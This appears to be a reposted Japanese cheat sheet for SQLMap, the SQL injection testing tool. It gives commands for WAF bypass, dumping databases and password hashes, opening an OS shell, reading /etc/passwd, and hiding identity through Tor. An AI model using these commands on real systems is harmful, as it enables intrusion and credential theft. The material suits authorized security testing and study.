ホームページ  >  記事  >  バックエンド開発  >  SQLMap チートシート: 自動 SQL インジェクションのクイックガイド

SQLMap チートシート: 自動 SQL インジェクションのクイックガイド

Linda Hamilton
Linda Hamiltonオリジナル
2024-09-26 15:30:02798ブラウズ

SQLMap Cheat Sheet: A Quick Guide for Automated SQL Injection

著者: Trix Cyrus

SQLMap とは何ですか?
SQLMap は、Web アプリケーションの SQL インジェクションの脆弱性を検出して悪用するために使用されるオープンソースの侵入テスト ツールです。 MySQL、PostgreSQL、Oracle、Microsoft SQL Server などのさまざまなデータベース システムをサポートしています。

基本的な使い方
SQLMap を開始するには、ターゲット URL:
を指定することで、最も単純な形式で SQLMap を実行できます。

sqlmap -u "http://example.com/index.php?id=1"

このコマンドは、SQL インジェクションの脆弱性についてターゲット URL をスキャンします。

1.脆弱性の検出
基本的な脆弱性スキャンを実行し、SQL インジェクション ポイントを自動的に検出するには、次のオプションを使用します:

sqlmap -u "http://example.com/index.php?id=1" --dbs

--dbs: 脆弱性が見つかった場合、ターゲット サーバー上で利用可能なすべてのデータベースをリストします。

2. POST リクエストの指定

POST リクエスト (通常はログインフォーム) を必要とするターゲットの場合、次のようにデータを指定できます:

sqlmap -u "http://example.com/login.php" --data="username=admin&password=1234"

3. WAF とフィルターのバイパス

Web アプリケーション ファイアウォール (WAF) を回避するために、SQLMap にはペイロード難読化技術が含まれています。

sqlmap -u "http://example.com/index.php?id=1" --tamper=space2comment

--tamper: 改ざんスクリプトを使用してフィルターを回避します。例: space2comment、charencode.

4.データベース、テーブル、列の抽出
ターゲット システム上のデータベースのリストを取得するには:

sqlmap -u "http://example.com/index.php?id=1" --dbs

データベースが特定されたら、そのテーブルを抽出します。

sqlmap -u "http://example.com/index.php?id=1" -D database_name --tables

特定のテーブルから列を取得するには:

sqlmap -u "http://example.com/index.php?id=1" -D database_name -T table_name --columns

5.データをダンプしています

テーブルの内容のダンプは、SQLMap の最も便利な機能の 1 つです。たとえば、特定のテーブルからすべてのデータをダンプするには:

sqlmap -u "http://example.com/index.php?id=1" -D database_name -T table_name --dump

6.データベース ユーザーとパスワードの列挙

SQLMap は、データベース ユーザーを列挙したり、ハッシュ化されたパスワードを解読したりするためにも使用できます。

sqlmap -u "http://example.com/index.php?id=1" --users
sqlmap -u "http://example.com/index.php?id=1" --passwords

7.オペレーティング システムへのアクセス

場合によっては、特にデータベース ユーザーが高レベルの権限を持っている場合、SQLMap を使用してオペレーティング システム上でコマンドを実行できます。

sqlmap -u "http://example.com/index.php?id=1" --os-shell

これにより、ターゲット システム上でコマンドを実行できる対話型シェルが提供されます。

8.ファイルのアップロードと読み取り

ターゲット システムからファイルを読み取ったり、悪意のあるファイルをアップロードしたりすることもできます (許可されている場合)。

sqlmap -u "http://example.com/index.php?id=1" --file-read="/etc/passwd"
sqlmap -u "http://example.com/index.php?id=1" --file-write="/path/to/file" --file-dest="/destination/path"

9.匿名性のために Tor を使用する

自分の身元を隠すには、Tor ネットワーク経由で SQLMap を実行できます。

sqlmap -u "http://example.com/index.php?id=1" --tor --tor-type=SOCKS5 --check-tor

--tor: Tor を有効にします。
--check-tor: 接続が Tor 経由で行われたかどうかを確認します。

10.セッションの保存と再開

SQLMap では、--session オプションを使用して進行状況を保存して再開できます。

sqlmap -u "http://example.com/index.php?id=1" --session=your_session_name

後で、次の方法で同じセッションを再開できます。

sqlmap -r your_session_name

11.詳細モード

SQLMap の動作に関する詳細情報を表示するには:

sqlmap -u "http://example.com/index.php?id=1" -v 3

-v オプションは冗長性を制御します (レベル 0 から 6、6 はすべての詳細を示します)。

  1. 複数のターゲットの自動スキャン

SQLMap は、ファイルに保存されている複数の URL のスキャンをサポートしています:

sqlmap -m urls.txt --batch

--batch: デフォルトのオプションを使用してすべてのプロンプトに自動的に応答します。これは自動スキャンに役立ちます。

スキャンを進めるには、--risk=3 と --level=5 も使用します
このチートシートを使用すると、読者に SQLMap の重要なコマンドを紹介し、SQL インジェクション テストを始めるのに役立ちます。

~TrixSec

以上がSQLMap チートシート: 自動 SQL インジェクションのクイックガイドの詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

声明:
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。